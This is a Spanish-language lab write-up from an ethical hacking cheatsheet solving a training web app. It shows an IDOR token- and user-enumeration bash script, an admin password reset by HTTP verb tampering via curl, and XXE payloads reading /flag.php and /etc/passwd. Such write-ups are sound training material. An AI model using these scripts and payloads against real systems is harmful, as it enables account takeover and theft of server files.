Cheatsheet
  • Introducción
    • 👾Ethical Hacking Cheatsheet
      • 📕Metodología OSSTMM
      • 📘MITRE ATT&CK
      • 🔢Proceso de Pentesting
      • 💻Instalación del entorno
        • 💻Instalación de VMWare
        • 💻Virtualizar Kali Linux
        • 🎨Personalización del entorno
        • 🕷️Máquinas Vulnerables
          • 💣Metasploitable 3
          • 🖖VPLE
          • 🟦Windows 11 Developer
      • 📔Organización y Notas
      • 👜Documentación e informes
        • 👜Documentos iniciales
        • 👜Toma de notas y organización
        • 👜Herramientas de documentación
        • 👜Tipos de informes
        • 👜Componentes de un informe
        • 👜Cómo redactar un hallazgo
        • 👜Consejos y trucos en la realización de informes
        • 👜Caso práctico: Informes
        • 👜CPTS Report
  • Sistemas básicos
    • 🐧Linux
    • 🪟Windows
    • 🔓Puertos y comprobaciones
    • Modos de Red
  • Recopilación de información
    • 🌐Google Hacking
      • 🌐Google Dorks
    • 💻Enumeración
      • 💻Metodología
      • 💻FTP
      • 💻SMB
      • 💻NFS
      • 💻DNS
      • 💻SMTP
      • 💻IMAP/POP3
      • 💻SNMP
      • 💻MySQL
      • 💻MSSQL
      • 💻Oracle TNS
      • 💻IPMI
      • 💻Protocolos de Administración Remota - Linux
      • 💻Protocolos de Administración Remota - Windows
      • 💻Footprinting Lab - Easy
      • 💻Footprinting Lab - Medium
      • 💻Footprinting Lab - Hard
    • 🔎Recopilación de información
      • 🔎Recopilación Pasiva
        • 🔎Subdominios - Pasiva
        • 🔎Identificar Tecnologías
        • 🔎Infraestructura - Pasiva
        • 🔎Fingerprinting
        • 🦭FOCA
      • 💻Recopilación Activa
        • 💻Reconocimiento automatizado
        • 💻Nmap
        • 💻Nmap Scripting Engine
        • 💻Subdominios - Activa
        • 💻Infraestructura - Activa
        • 💻Virtual Hosts
        • 💻Evasión de IDS
        • 💻Escaneo Avanzado
        • 💻Lab - Recopilación
      • 🧠OSINT
        • 🧠Herramientas Genéricas
        • 🧠OSINT a Usernames
        • 🧠OSINT a Teléfonos
        • 🧠OSINT a Emails
        • 🧠OSINT a Dominios
        • 🧠OSINT en Linkedin
        • 🧠OSINT en Instagram
    • 🕸️Fuzzing
      • 🕸️Gobuster
      • 🕸️Ffuf
      • 🕸️Dirsearch
    • 🕸️Crawling
      • 🕸️Web Crawlers
      • 🕸️Herramientas de Crawling
    • ☁️Hacking en CMS
    • 🍏Hacking en MacOS
  • Análisis de vulnerabilidades
    • 👾Análisis de vulnerabilidades
    • 👽Herramientas de Análisis
      • ⚙️Nmap: Análisis
      • ⚙️Nuclei
      • ⚙️OpenVAS
      • ⚙️Nessus
  • Explotación de vulnerabilidades
    • 💣Explotación en Hosts
      • 🔥Acceso básico
      • 🐚Shells y Payloads
        • 🐚Bind Shells
        • 🐚Reverse Shells
        • 🐚Payloads
        • 💣Metasploit Payloads
        • 🐚Tratamiento de la TTY
        • 🐚Webshells
          • 🐚Laudanum
          • 🐚PHP Webshell
        • 💣Lab de explotación
      • 🔎Buscador de exploits
      • 🔑Password Attacks
        • 🔑Cracking de Contraseñas
        • 🔑Bruteforce de Servicios
        • 🔑Login Bruteforce
          • 🔑Ataques de fuerza bruta
          • 🔑Ataques de diccionario
          • 🔑Ataques Híbridos
          • 🔑Bruteforce con Hydra
          • 🔑Autenticación HTTP básica
          • 🔑Formularios de Login
          • 🔑Medusa
        • 🔑Password Mutations
        • 🔑Contraseñas por defecto
        • 🔑Windows Attacks
          • 🔑Atacando a SAM
          • 🔑Atacando a LSASS
          • 🔑Atacando Active Directory
          • 🔑Credential Hunting - Windows
        • 🔑Linux Attacks
          • 🔑Credential Hunting - Linux
          • 🔑Passwd, Shadow y Opasswd
        • 🔑Archivos Protegidos
        • 🔑Archivos Comprimidos
        • 🔑Políticas de Contraseñas
        • 🔑Administradores de Contraseñas
        • 🔑Labs de contraseñas
          • 🔑Lab de contraseñas - Easy
          • 🔑Lab de contraseñas - Medium
          • 🔑Lab de contraseñas - Hard
      • 👾Atacando Servicios Comunes
        • 👾Ataques a FTP
        • 👾Ataques a SMB
        • 👾Ataques a Bases de Datos
        • 👾Ataques a RDP
        • 👾Ataques a DNS
        • 👾Ataques a Emails
        • 👾Labs - Common Services
          • 👾Lab - Easy
          • 👾Lab - Medium
          • 👾Lab - Hard
      • 🔁Pivoting, Tunelling y Port Forwarding
        • 🔁Redes en Pivoting
        • 🔁Port Forwarding
        • 🔁Remote/Reverse Port Forwarding con SSH
        • 🔁Meterpreter Tunneling & Port Forwarding
        • 🔁Pivoting con Socat
        • 🔁SSH para Windows: plink.exe
        • 🔁Pivoting SSH con Sshuttle
        • 🔁Web Server Pivoting con Rpivot
        • 🔁Port Forwarding con Windows Netsh
        • 🔁Túnel DNS con Dnscat2
        • 🔁SOCKS5 Tunneling con Chisel
        • 🔁ICMP Tunneling con SOCKS
        • 🔁RDP y SOCKS Tunneling con SocksOverRDP
        • 🔁Pivoting: Skills Assessment
        • 🔁Port Forwarding dinámico
      • 🧨Metasploit
        • 🧨Metasploit - Atacando Windows
      • ☠️Msfvenom
      • 🐍Hydra
      • ❌BruteX
      • 🔄File Transfers
      • 💿Buffer Overflow en Linux
    • 💣Explotación en Web
      • ⬆️Ataques de subida de archivos
        • ⬆️Ausencia de validación
        • ⬆️Explotación de subida
        • ⬆️Client-Side Validation
        • ⬆️Filtros de Blacklist
        • ⬆️Filtros de Whitelist
        • ⬆️Filtros de tipo
        • ⬆️Cargas de archivos limitadas
        • ⬆️Otros ataques de carga
        • ⬆️Prevención en carga de archivos
        • ⬆️File Uploads - Skills Assessment
      • 🕸️Ataques Web Modernos
        • 🕸️HTTP Verb Tampering
          • 🕸️Bypass de autenticación
          • 🕸️Bypass de Filtros
          • 🕸️Prevención de HTML Verb Tampering
        • 🕸️IDOR
          • 🕸️Identificación de IDOR
          • 🕸️Enumeración de IDOR
          • 🕸️Bypass de referencias codificadas
          • 🕸️IDOR en APIs Inseguras
          • 🕸️Encadenar vulnerabilidades IDOR
          • 🕸️Prevención de IDOR
        • 🕸️XML External Entity (XXE)
          • 🕸️Local File Disclosure
          • 🕸️Advanced File Disclosure
          • 🕸️Blind Data Exfiltration
          • 🕸️Prevención de XXE
        • 🕸️Ataques Web - Skills Assesment
      • 💣Ataques a Aplicaciones Web
        • 🔎Descubrimiento y enumeración de aplicaciones
        • 💣Ataques a CMS
          • 🔎Wordpress - Enumeración
          • 💣Wordpress - Ataques
          • 🔎Joomla - Enumeración
          • 💣Joomla - Ataques
          • 🔎Drupal - Enumeración
          • 💣Drupal - Ataques
        • 💣Ataques a Servlet Containers
          • 🔎Tomcat - Enumeración
          • 💣Tomcat - Ataques
          • 🔎Jenkins - Enumeración
          • 💣Jenkins - Ataques
        • 💣Ataques a herramientas de monitorización
          • 🔎Splunk - Enumeración
          • 💣Splunk - Ataques
          • 💣PTRG Network Monitor
        • 💣Ataques a aplicaciones varias
          • 💣osTicket
          • 🔎GitLab - Enumeración
          • 💣GitLab - Ataques
          • 💣Tomcat CGI
          • 💣Ataques a CGI - Shellshock
          • 💣Ataques a Aplicaciones de Cliente Pesado
          • 💣Vulnerabilidades Web en Aplicaciones de Cliente Pesado
          • 🔎ColdFusion - Enumeración
          • 💣Coldfusion - Ataques
          • 🔎IIS Tilde - Enumeración
          • 💣Asignación masiva de archivos web
          • 💣Ataques a aplicaciones que se conectan a servicios
          • 💣Otras aplicaciones notables
          • 🛡️Hardening de Aplicaciones
        • 💣Labs - Ataques a Aplicaciones
          • 💣Lab - Ataques a Aplicaciones I
          • 💣Lab - Ataques a Aplicaciones II
          • 💣Lab - Ataques a Aplicaciones III
      • 💉SQL Injection
        • 💉SQLMap
          • 💉Introducción a SQLMap
          • 💉SQLMap - HTTP Request
          • 💉SQLMap - Manejo de errores
          • 💉SQLMap - Ajuste del ataque
          • 💉SQLMap - Enumeración Básica
          • 💉SQLMap - Enumeración Avanzada
          • 💉SQLMap - Bypass de protección web
          • 💉SQLMap - Explotación de S.O.
          • 💉SQLMap - Skills Assessment
      • 💉Command Injection
        • 💉Detección
        • 💉Inyectando comandos
        • 💉Otros operadores de inyección
        • 💉Identificación de filtros
        • 💉Bypass de filtros de espacios
        • 💉Bypass de otros caracteres en Blacklist
        • 💉Bypass de comandos en Blacklist
        • 💉Ofuscación de comandos avanzada
        • 💉Herramientas de Ofuscación de comandos
        • 💉Prevención de Command Injection
        • 💉Command Injection - Skills Assesment
      • 📁Local File Inclusion
      • 💿Cross Site Scripting (XSS)
        • 💿XSS Stored
        • 💿XSS Reflected
        • 💿XSS DOM-Based
        • 💿XSS Discovery
        • 💿XSS Payloads
        • 💿Defacing con XSS
        • 💿Phising con XSS
        • 💿Session Hijacking
        • 💿Prevención de XSS
        • 💿XSS - Skills Assessment
      • 💻API Hacking
      • 🔻DDoS Attack
      • 💡Web Proxies
        • 💡Configuración
        • 💡Interceptando solicitudes
        • 💡Interceptar respuestas
        • 💡Modificación automática
        • 💡Solicitudes repetidas
        • 💡Encoding / Decoding
        • 💡Herramientas de Proxy
        • 💡Burp Intruder
        • 💡Zap Fuzzer
        • 💡Burp Scanner
        • 💡Zap Scanner
        • 💡Extensiones
        • 💡Proxy: Skills Assestment
      • 👨‍🍳Cyberchef
    • 💣Explotación en Redes
      • 😎Man in the middle
      • 🎣Phising
        • 🎣Herramientas de Phising
        • 🎣Seeker y Ngrok
        • 🎣Social Engineering Toolkit
        • 🎣Gophish
      • 🤼Ingeniería Social
      • 🔐Bruteforce a RRSS
      • 🌐Hacking WiFi
        • 🌐Conceptos básicos
        • 🌐Redes Básicas
        • 🌐Sniffing
        • 🌐Deauth
        • 🌐Redes ocultas
        • 🌐WEP Cracking
          • 🌐Ataque a WEP
          • 🌐Fake Autentication
          • 🌐Packet Injection
            • 🌐ARP Request Replay
            • 🌐Chop Chop
            • 🌐Fragmentation
          • 🌐Redes SKA
        • 🌐WPS Cracking
        • 🌐WPA/WPA2 Cracking
        • 🌐Wifite
        • 🌐Evil Portal
        • 🌐Rainbow Table
        • 🌐WPA/WPA2 Enterprise
    • 📕Diccionarios Custom
      • 📕Username Anarchy
      • 📕Cupp
      • 📕Crunch
      • 📕CeWL
      • 📕DyMerge
  • Post Explotación
    • 💻Post Explotación
      • 👾Meterpreter
      • 🐈Mimikatz
      • 🔐LaZagne
      • 📩Procdump y lsass.exe
      • ↔️Movimientos Laterales
        • ↔️Pass the Hash (PtH)
        • ↔️Pass the Ticket (PtT) - Windows
        • ↔️Pass the Ticket (PtT) - Linux
      • 🚪Backdoor en binarios
      • 🦅Covenant
      • ⚔️Koadic
      • 💾Bases de datos
        • 💾MySQL
        • 💾PostgreSQL
      • ⚙️P.E. Avanzada
      • 🧼Borrado de evidencias
    • 🌋Escalada de Privilegios
      • 🐧Escalada de privilegios en Linux
        • 🐧Enumeración del entorno
        • 🐧Enumeración de servicios y componentes internos
        • 🐧Búsqueda de credenciales en Linux
        • 🐧Abuso de PATH
        • 🐧Abuso de comodines
        • 🐧Shells restringidos
        • 🐧Permisos especiales
        • 🐧Abuso de permisos Sudo
        • 🐧Grupos privilegiados
        • 🐧Capabilities
        • 🐧Servicios vulnerables
        • 🐧Abuso de Cron
        • 🐧Contenedores
        • 🐧Docker
        • 🐧Kubernetes
        • 🐧Logrotate
        • 🐧Técnicas varias
        • 🐧Exploits del Kernel - Linux
        • 🐧Bibliotecas compartidas
        • 🐧Secuestro de objetos compartidos
        • 🐧Secuestro de librería de Python
        • 🐧Sudo Zeroday
        • 🐧Polkit Zeroday
        • 🐧Dirty Pipe
        • 🐧Netfilter
        • 🐧Hardening en Linux - Privesc
        • 🐧Escalada en Linux - Skills Assesment
        • ⬆️Linpeas
      • 📘Escalada de privilegios en Windows
        • 📘Herramientas útiles
        • 📘Conciencia situacional
        • 📘Enumeración inicial en Windows
        • 📘Enumeración inicial
        • 📘Comunicación con Procesos
        • 📘Privilegios de Usuario en Windows
          • 📘SeImpersonate y SeAssignPrimaryToken
          • 📘SeDebugPrivilege
          • 📘SeTakeOwnershipPrivilege
        • 📘Privilegios de Grupo en Windows
          • 📘Grupos Integrados en Windows
          • 📘Lectores de Registros de Eventos
          • 📘DnsAdmins
          • 📘Hyper-V Administrators
          • 📘Print Operators
          • 📘Server Operators
        • 📘Atacando el Sistema Operativo Windows
          • 📘User Account Control (UAC)
          • 📘Permisos débiles
          • 📘Exploits del Kernel - Windows
          • 📘Servicios vulnerables en Windows
          • 📘DLL Injection
        • 📘Robo de credenciales en Windows
          • 📘Búsqueda de credenciales en Windows
          • 📘Otros archivos interesantes en Windows
          • 📘Otros robos de credenciales en Windows
        • 📘Entornos restrictivos - Citrix
        • 📘Varias técnicas de escalada en Windows
          • 📘Interacción con usuarios
          • 📘Pillaging
          • 📘Técnicas varias
        • 📘Sistemas Operativos Obsoletos
          • 📘Sistemas operativos heredados
          • 📘Windows Server
          • 📘Windows Desktop
        • 📘Hardening en Windows
        • 📘Escalada de privilegios en Windows: Skills Assessment
          • 📘Escenario 1
          • 📘Escenario 2
      • 🔴GTFOBins
  • Evasión de defensas
    • 🛡️Detección y evasión de defensas
      • 🛡️Load Balancing Detector
      • 🛡️Evasión de WAFs
      • 🛡️Evasión de Antivirus
      • 🛡️Herramientas de Evasión
  • Active Directory
    • ☁️Active Directory
      • ☁️Enumeración en AD
        • ☁️AD: Enumeración inicial del dominio
        • ☁️AD: Enumeración de controles de seguridad
        • ☁️AD: Enumeración con credenciales: desde Linux
        • 👁️PowerView
        • ☁️AD: Enumeración con credenciales: desde Windows
        • ☁️AD: Enumeración nativa en Windows
      • ☄️Sniffing desde el Foothold
        • ☄️LLMNR/NBT-NS Poisoning - Desde Linux
        • ☄️LLMNR/NBT-NS Poisoning - Desde Windows
      • 🔫Password Spraying
        • 🔫AD: Políticas de contraseñas
        • 🔫AD: Crear lista de usuarios
        • 🔫Password Spraying Interno - Desde Linux
        • 🔫Password Spraying Interno - Desde Windows
      • 🐺Kerberos
        • ⚔️Hacking en Kerberos
        • ⚔️Kerberoasting desde Linux
        • ⚔️Kerberoasting desde Windows
        • 🗝️Acceso a Credenciales
        • 🗝️Volcado de LSASS y SAM
        • 🗝️Credenciales cacheadas
        • 🗝️Pass the Hash
        • 🪙Token Impersonation
        • 🎟️ASK-TGT
        • 🎫Golden y Silver Tickets
        • 🐺Kerberos "Double Hop"
      • 🦸‍♂️ACLs - Access Control Lists
        • 🦸‍♂️ACLs Vulnerables
        • 🦸‍♂️Enumeración de ACLs
        • 🦸‍♂️Tácticas de abuso de ACLs
      • 🔄DCSync
      • ⬆️Acceso Privilegiado
      • ❤️‍🩹Vulnerabilidades en AD
      • ⚙️Malas configuraciones en AD
      • 🤝Relaciones de confianza
        • 🤝Ataque de confianza de dominio - Desde Windows
        • 🤝Ataque de confianza de dominio - Desde Linux
        • 🤝Abuso de confianza entre bosques - Desde Windows
        • 🤝Abuso de confianza entre bosques - Desde Linux
      • ☁️Vulnerable AD
      • ⬇️SAM
      • 🔐LDAP
        • 🔐Atacando LDAP
      • 🔐NTDS
      • 🔐NTLM/SMB Relay
      • 🩸BloodHound
      • 🛡️Hardening en AD
      • 💻Técnicas adicionales de auditoría en AD
      • 💻AD - Skills Assessment I
      • 💻AD - Skills Assessment II
  • Hacking en entornos reales
    • 🏛️Enterprise Hacking
      • 🏛️Escenario y KickOff
      • 🏛️Enterprise Hacking Checklist
      • 🏛️Pruebas externas
        • 🏛️Recopilación de Información Externa
        • 🏛️Enumeración y explotación de servicios
        • 🏛️Enumeración y explotación web
        • 🏛️Acceso inicial
      • 🏛️Pruebas internas
        • 🏛️Persistencia Post-Explotación
        • 🏛️Recopilación de Información Interna
        • 🏛️Explotación y escalada de privilegios
      • 🏛️Movimiento lateral y escalada de privilegios
        • 🏛️Movimiento lateral
        • 🏛️Comprometiendo Active Directory
        • 🏛️Post Explotación en Active Directory
        • 🏛️Cierre del pentesting
    • ☁️AWS - Amazon Web Services
    • ⚔️Hacking en AWS
  • Anonimato y privacidad
    • 👹Anonimato y Privacidad
      • 🔒VPN
      • 🔒Proxy
      • 🔒Red TOR
      • 🔒Zero Knowledge Services
  • Machine Learning en Hacking
    • 🧠Machine Learning
      • 🧠Batea
      • 💀Pesidious
  • Hardware Hacking
    • 🐬Flipper Zero
      • 🐬Introducción
        • 🐬qFlipper
        • 🐬Instalar qFlipper en Kali Linux
        • 🐬Recuperación de Firmware
      • 📻Sub-GHz
        • 📻Lectura de señales
        • 📻Lectura de señales RAW
        • 📻Añadir nuevos controles remotos
        • 📻Frecuencias
      • ♒RFID de 125 kHz
        • ♒Lectura de tarjetas RFID
        • ♒Añadir tarjetas RFID manualmente
        • ♒Escritura de datos en tarjetas T5577
        • ♒Microchips para animales
      • 💳NFC
        • 💳Lectura de tarjetas NFC
        • 💳Extracción de claves con MFKey32
        • 💳Desbloqueo de tarjetas con contraseñas
        • 💳Escritura de datos en Magic Cards
        • 💳Añadir nuevas tarjetas NFC
      • 🔴Infrarrojos
        • 🔴Lectura de señales infrarrojas
        • 🔴Controles remotos universales
      • 👿Bad USB
        • 👿Script básico de Youtube
        • 👿Bruteforce de Pins
        • 👿RatLocker
      • 🎨Custom Firmwares
      • 🛜GPIO y Módulos
        • 🛜Marauder Firmware
        • 🛜Escaneo de Redes Wifi
        • 🛜Wifi Password Cracking
        • 🛜Evil Portal
      • 🔘iButton
        • 🔘Lectura de llaves iButton
        • 🔘Agregar llaves iButton manualmente
        • 🔘Escritura de datos en llaves iButton
  • Writeups
    • 🟢Hack the Box
      • 🟠Backfire
      • 🟠Blurry
      • 🟠Hospital
      • 🟠Zipping
      • 🟢Analytics
      • 🟢Bizness
      • 🟢Boardlight
      • 🟢Broker
      • 🟢Chemistry
      • 🟢Codify
      • 🟢CozyHosting
      • 🟢Devvortex
      • 🟢GreenHorn
      • 🟢LinkVortex
      • 🟢PermX
    • 🐋Dockerlabs
      • 🟠Inclusion
      • 🟠Veneno
      • 🟢Hedgehog
      • 🟢Library
      • 🟢Move
      • 🟢Walking CMS
    • 🌩️TryHackMe
      • 🟠Attracktive Directory
    • 🌐Over The Wire
      • 🌐Bandit
      • 🌐Natas
Con tecnología de GitBook
En esta página
  • Escenario
  • Identificación de vulnerabilidad
  • Reconocimiento del endpoint
  • Enumeración de IDS
  • Enumeración de usuarios
  • Prueba de cambio de contraseña
  • Cambio de contraseña del admin
  • Leer el contenido de flag.php
  • Local File Disclosure

¿Te fue útil?

  1. Explotación de vulnerabilidades
  2. Explotación en Web
  3. Ataques Web Modernos

Ataques Web - Skills Assesment

AnteriorPrevención de XXESiguienteAtaques a Aplicaciones Web

Última actualización hace 6 meses

¿Te fue útil?

Escenario

Estamos realizando una prueba de penetración de aplicaciones web para una empresa de desarrollo de software y nos encargan que probemos la última versión de su aplicación web de redes sociales. Intenta utilizar las distintas técnicas que aprendiste en este módulo para identificar y explotar las múltiples vulnerabilidades que encuentres en la aplicación web.

Intenta aumentar tus privilegios y explotar diferentes vulnerabilidades para leer la flag en /flag.php.

Objetivo: 94.237.63.109:42403

User "htb-student"
Password "Academy_student!"

Nos logueamos y accedemos a la aplicación interna:

Identificación de vulnerabilidad

Después de probar todos los links, la única funcionalidad de esta herramienta es la de cambio de contraseña:

Vamos a capturar esta petición con BurpSuite para ver si encontramos algo interesante:

El endpoint GET /api.php/token/74 parece ser una API que toma un identificador de token (74) como parámetro. La combinación de esta solicitud con la referencia a una sesión activa (mediante la cookie PHPSESSID y el identificador de usuario uid=74) abre oportunidades para técnicas comunes de hacking web.

Al hacer un forward de nuevo vemos que nos devuelve lo siguiente, que podríamos usar para cambiar la contraseña a un usuario administrador si sabemos su token:

Reconocimiento del endpoint

curl -X GET "http://94.237.59.180:58245/api.php/token/74"

{"token":"e51a8a14-17ac-11ec-8e67-a3c050fe0c26"}%  

Al cambiar el ID del token a 75, obtenemos un nuevo token: e51a8a3c-17ac-11ec-8e68-7fe51c0c175e. Esto confirma que el endpoint es vulnerable a IDOR (Insecure Direct Object Reference), ya que permite acceder a datos de otros usuarios o recursos cambiando un parámetro en la URL.

curl -X GET "http://94.237.59.180:58245/api.php/token/75"

{"token":"e51a8a3c-17ac-11ec-8e68-7fe51c0c175e"}%  

¿Qué significa esto?

  • Podemos enumerar los tokens de diferentes usuarios modificando el ID en la solicitud.

  • Si los tokens son sensibles (por ejemplo, para autenticación o acceso a recursos privados), esta vulnerabilidad puede escalar a una violación crítica.

Enumeración de IDS

Vamos a crear un script en bash para automatizar el proceso de obtención de los IDS de los usuarios de la web y exportarlos a un archivo tokens.txt:

enum.sh
#!/bin/bash

# Archivo de salida
output_file="tokens.txt"

# Limpiar el archivo si existe
> "$output_file"

# Enumerar y guardar los tokens
for i in $(seq 1 100); do
  # Realizar la solicitud y extraer el token
  response=$(curl -s "http://94.237.59.180:58245/api.php/token/$i")
  token=$(echo "$response" | grep -oP '(?<="token":")[^"]+')

  # Mostrar el ID y el token en la terminal
  if [[ -n "$token" ]]; then
    echo "ID $i -> Token: $token"
    # Guardar solo el token en el archivo
    echo "$token" >> "$output_file"
  else
    echo "ID $i -> No se encontró token."
  fi
done

echo "Tokens guardados en $output_file."

Ejecutamos el script de la siguiente manera:

afsh4ck@kali$ sudo apt-get install jq

afsh4ck@kali$ bash enum.sh           
ID 1 -> Token: e51a7c5e-17ac-11ec-8e1e-2f59f27bf33c
ID 2 -> Token: e51a7dc6-17ac-11ec-8e1f-df8a04f4691d
ID 3 -> Token: e51a7df8-17ac-11ec-8e20-37f52352c5ab
ID 4 -> Token: e51a7e20-17ac-11ec-8e21-eb442066c04d
ID 5 -> Token: e51a7e48-17ac-11ec-8e22-af3c03bc0d85
ID 6 -> Token: e51a7e70-17ac-11ec-8e23-ff853a7a4767
ID 7 -> Token: e51a7ede-17ac-11ec-8e24-d762f0e7e4eb
ID 8 -> Token: e51a7f06-17ac-11ec-8e25-d30db175b4a8
ID 9 -> Token: e51a7f2e-17ac-11ec-8e26-c320c60b942f
ID 10 -> Token: e51a7f56-17ac-11ec-8e27-2b4b9df74ed7
ID 11 -> Token: e51a7f88-17ac-11ec-8e28-bb050dc48221
ID 12 -> Token: e51a7fa6-17ac-11ec-8e29-b3d96ffb5b98
ID 13 -> Token: e51a7fce-17ac-11ec-8e2a-7b0cc9e17056
ID 14 -> Token: e51a8000-17ac-11ec-8e2b-175374b5359d
ID 15 -> Token: e51a8028-17ac-11ec-8e2c-0798288d48f2
<-----SNIP----->
ID 98 -> Token: e51a8e56-17ac-11ec-8e7f-abd9fb600ff6
ID 99 -> Token: e51a8e7e-17ac-11ec-8e80-ab44f6066bfb
ID 100 -> Token: e51a8ea6-17ac-11ec-8e81-e7ed2e0a2951
Tokens guardados en tokens.txt.

Enumeración de usuarios

En la página de profile.php nos encontramos el siguiente script, que confirma la presencia de un json con los nombres, uids y empresa:

<script>
        $(document).ready(function() {
            fetch(`/api.php/user/${$.cookie("uid")}`, {
                method: 'GET'
            }).then(function(response) {
                return response.json();
            }).then(function(json) {
                $("#full_name").html(json['full_name']);
                $("#company").html(json['company']);
            });
        });
    </script>

Ahora que tenemos todos los tokens, vamos a extraer los nombres de los usuarios con el siguiente script, para ver si encontramos algún usuario administrador:

enum_users.sh
#!/bin/bash

# Configuración
BASE_URL="http://94.237.59.180:58245"
SESSION_ID="5jbl6dkcuuuluug4cp3uruv54m"
LOG_FILE="employee_info.txt"

# Crear o limpiar el archivo de log
echo "== Información de empleados ==" > "$LOG_FILE"

# Iterar por UIDs (asumiendo que los UIDs comienzan en 1 y suben secuencialmente)
for uid in {1..100}; do
  # Hacer la consulta al API
  user_info=$(curl -s -X GET "$BASE_URL/api.php/user/$uid" \
    -b "PHPSESSID=$SESSION_ID; uid=$uid")

  # Extraer el username, full_name y company usando `jq`
  username=$(echo "$user_info" | jq -r '.username')
  full_name=$(echo "$user_info" | jq -r '.full_name')
  company=$(echo "$user_info" | jq -r '.company')

  # Verificar si la información está disponible
  if [[ "$username" != "null" && "$full_name" != "null" && "$company" != "null" ]]; then
    echo "UID: $uid - Username: $username - Nombre: $full_name - Empresa: $company" | tee -a "$LOG_FILE"
  else
    echo "UID: $uid - No encontrado o datos incompletos." | tee -a "$LOG_FILE"
  fi
done

echo "Consulta completada. La información de los empleados está guardada en $LOG_FILE."
afsh4ck@kali$ bash enum_users.sh
UID: 1 - Username: s.applewhite - Nombre: Samanta Applewhite - Empresa: Daniel Inc
UID: 2 - Username: a.sumner - Nombre: Ari Sumner - Empresa: Friesen Group
UID: 3 - Username: j.oshaughnessy - Nombre: Jeevan Oshaughnessy - Empresa: Jaskolski - Lang
UID: 4 - Username: r.trainor - Nombre: Riggs Trainor - Empresa: Beer, Daugherty and Lang
UID: 5 - Username: j.bigelow - Nombre: Jakari Bigelow - Empresa: Ritchie - Hettinger
UID: 6 - Username: k.windsor - Nombre: Kahlan Windsor - Empresa: Rutherford LLC
UID: 7 - Username: w.amador - Nombre: Whitley Amador - Empresa: Howell and Sons
UID: 8 - Username: k.parrett - Nombre: Kristie Parrett - Empresa: Raynor Inc
UID: 9 - Username: g.fetter - Nombre: Guiliana Fetter - Empresa: Mann - Doyle
UID: 10 - Username: h.chaudhry - Nombre: Huxton Chaudhry - Empresa: Volkman - Satterfield
<----SNIP---->

Este script nos genera un archivo de log employee_info.txt, y aplicando un filtro con grep encontramos un posible usuario administrador:

afsh4ck@kali$ cat employee_info.txt | grep Admin
UID: 52 - Username: a.corrales - Nombre: Amor Corrales - Empresa: Administrator

Si solamente querríamos encontrar un usuario admin lo podríamos hacer mucho más simple con este script:

for i in {1..1000}; do curl -s http://94.237.63.109:42403/api.php/user/$i | grep -iE 'admin'; done

{"uid":"52","username":"a.corrales","full_name":"Amor Corrales","company":"Administrator"}

Ya tenemos los datos completos del usuario administrador:

UID: 52
Username: a.corrales
Nombre: Amor Corrales
Empresa: Administrator
Token: e51a85fa-17ac-11ec-8e51-e78234eb7b0c

Prueba de cambio de contraseña

Vamos a probar a cambiar la contraseña de nuestro usuario por defecto con UID 74:

curl http://94.237.63.109:42403/reset.php -H 'Content-Type: application/x-www-form-urlencoded' -H 'Cookie: PHPSESSID=voemqq47duv395pvn3921qdv9q; uid=74' -d 'uid=74&token=e51a8a14-17ac-11ec-8e67-a3c050fe0c26&password=1234'
Password changed successfully

Vemos que funciona.

Cambio de contraseña del admin

Vamos a usar " Verb Tampering" para eludir los controles de seguridad, y vamos a añadir su token:

curl 'http://94.237.63.109:42403/reset.php?uid=52&token=e51a85fa-17ac-11ec-8e51-e78234eb7b0c&password=1234' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Cookie: PHPSESSID=voemqq47duv395pvn3921qdv9q; uid=74'
Password changed successfully

Parece que ha funcionado. Vamos a probar a loguearnos con su nombre de usuario a.corrales y la nueva contraseña:

Bingo! Conseguimos acceder como el usuario administrador y vemos que tiene una nueva funcionalidad Add Event:

Vamos a capturar esta petición con BurpSuite para ver si obtenemos algo interesante:

Tenemos un posible XXE. Viendo el código fuente encontramos un script que crea un nuevo archivo XML y lo envía en una solicitud POST al endpoint /addEvent.php:

<script>
        function XMLFunction() {
            var xml = `
            <root>
            <name>${$('#name').val()}</name>
            <details>${$('#details').val()}</details>
            <date>${$('#date').val()}</date>
            </root>
            `;

            fetch(`addEvent.php`, {
                method: 'POST',
                body: xml,
            }).then(function(response) {
                return response.text();
            }).then(function(res) {
                $('#error_string').html(res);
            });
        };
    </script>

Al enviar la petición al Repeater y ver la respuesta vemos que el valor del input name se nos muestra en la página. Para imprimir el contenido de un archivo externo en la página, debemos observar qué elementos se muestran, de modo que sepamos en qué elementos inyectar.

Leer el contenido de flag.php

Vamos a utilizar el siguiente payload para codificar en base64 el contenido de flag.php:

<?xml version="1.0"?>

<!DOCTYPE name [

  <!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=/flag.php">

]>
            <root>
            <name>&company;</name>
            <details>Test</details>
            <date>2024-11-25</date>
            </root>

Parece que funciona y nos devuelve el contenido de flag.php codificado en base64:

Lo enviamos a Burp Decoder y al decodificarlo en base64 obtenemos la flag en plano:

Local File Disclosure

De igual manera podríamos usar un payload similar para obtener cualquier archivo del sistema (como el /etc/passwd), quedando completamente comprometido:

<?xml version="1.0"?>

<!DOCTYPE name [

  <!ENTITY company SYSTEM "file:///etc/passwd">

]>
            <root>
            <name>&company;</name>
            <details>Test</details>
            <date>2024-11-25</date>
            </root>
💣
🕸️
🕸️
Page cover image